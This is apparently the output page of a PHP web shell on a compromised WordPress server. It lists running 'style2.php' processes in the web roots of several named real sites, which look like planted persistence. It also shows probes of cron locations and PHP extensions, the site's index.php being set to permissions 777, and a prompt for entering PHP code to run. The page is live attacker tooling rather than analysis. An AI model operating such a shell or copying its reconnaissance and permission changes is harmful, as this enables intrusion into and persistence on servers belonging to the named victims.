当前系统用户: admin
服务器当前时间: 2024-10-23 07:33:31
admin     1551  0.0  0.3 315612  7620 ?        S    00:53   0:02 php /home/admin/web/sosoporte.com/public_html/style2.php
root      1557  0.0  0.2 167988  5364 ?        Ss   Oct22   0:03 php-fpm: master process (/usr/local/vesta/php/etc/php-fpm.conf)
admin     1560  0.0  0.3 168868  7272 ?        S    Oct22   0:02 php-fpm: pool www
admin     1561  0.0  0.4 168592  9060 ?        S    Oct22   0:03 php-fpm: pool www
admin     1579  0.0  0.3 315612  7580 ?        S    00:54   0:02 php /home/admin/web/fundacionfacmen.org/public_html/style2.php
admin     1618  0.0  0.3 315612  7820 ?        S    00:54   0:02 php /home/admin/web/centroinfantilcorazonescontentos.com/public_html/style2.php
admin     9642  0.0  0.3 168568  7204 ?        S    01:50   0:00 php-fpm: pool www
admin    15899  0.0  0.0   4500   736 ?        S    02:33   0:00 sh -c ps aux | grep php
admin    15901  0.0  0.0  11284   864 ?        S    02:33   0:00 grep php

当前PHP脚本的进程ID: 5519

加载的PHP扩展: Core, date, libxml, openssl, pcre, zlib, filter, hash, Reflection, SPL, session, standard, sodium, apache2handler, mysqlnd, PDO, xml, calendar, ctype, curl, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, iconv, intl, json, exif, mysqli, pdo_mysql, Phar, posix, readline, shmop, SimpleXML, soap, sockets, sysvmsg, sysvsem, sysvshm, tokenizer, xmlreader, xmlrpc, xmlwriter, xsl, zip, Zend OPcache
未找到正在运行的 PHP 进程。

检查当前定时任务

无法访问 /etc/crontab

无法访问 /var/spool/cron/crontabs/

无法访问 /etc/cron.d/


文件路径: /home/admin/web/sosoporte.com/public_html/index.php
index.php 文件有读取权限。
文件最后修改时间: 2024-10-23 05:53:38
index.php 文件被锁定 (没有写权限)。
文件权限成功修改为 777。
该站点是 WordPress 站点。
WordPress 版本: 6.6.2
PHP

执行环境检测 - 执行函数检查

输入php代码开始执行



Output:

admin     1551  0.0  0.3 315612  7620 ?        S    00:53   0:02 php /home/admin/web/sosoporte.com/public_html/style2.php
root      1557  0.0  0.2 167988  5364 ?        Ss   Oct22   0:03 php-fpm: master process (/usr/local/vesta/php/etc/php-fpm.conf)
admin     1560  0.0  0.3 168868  7272 ?        S    Oct22   0:02 php-fpm: pool www
admin     1561  0.0  0.4 168592  9060 ?        S    Oct22   0:03 php-fpm: pool www
admin     1579  0.0  0.3 315612  7580 ?        S    00:54   0:02 php /home/admin/web/fundacionfacmen.org/public_html/style2.php
admin     1618  0.0  0.3 315612  7820 ?        S    00:54   0:02 php /home/admin/web/centroinfantilcorazonescontentos.com/public_html/style2.php
admin     9642  0.0  0.3 168568  7204 ?        S    01:50   0:00 php-fpm: pool www
admin    15899  0.0  0.0   4500   736 ?        S    02:33   0:00 sh -c ps aux | grep php
admin    15901  0.0  0.0  11284   864 ?        S    02:33   0:00 grep php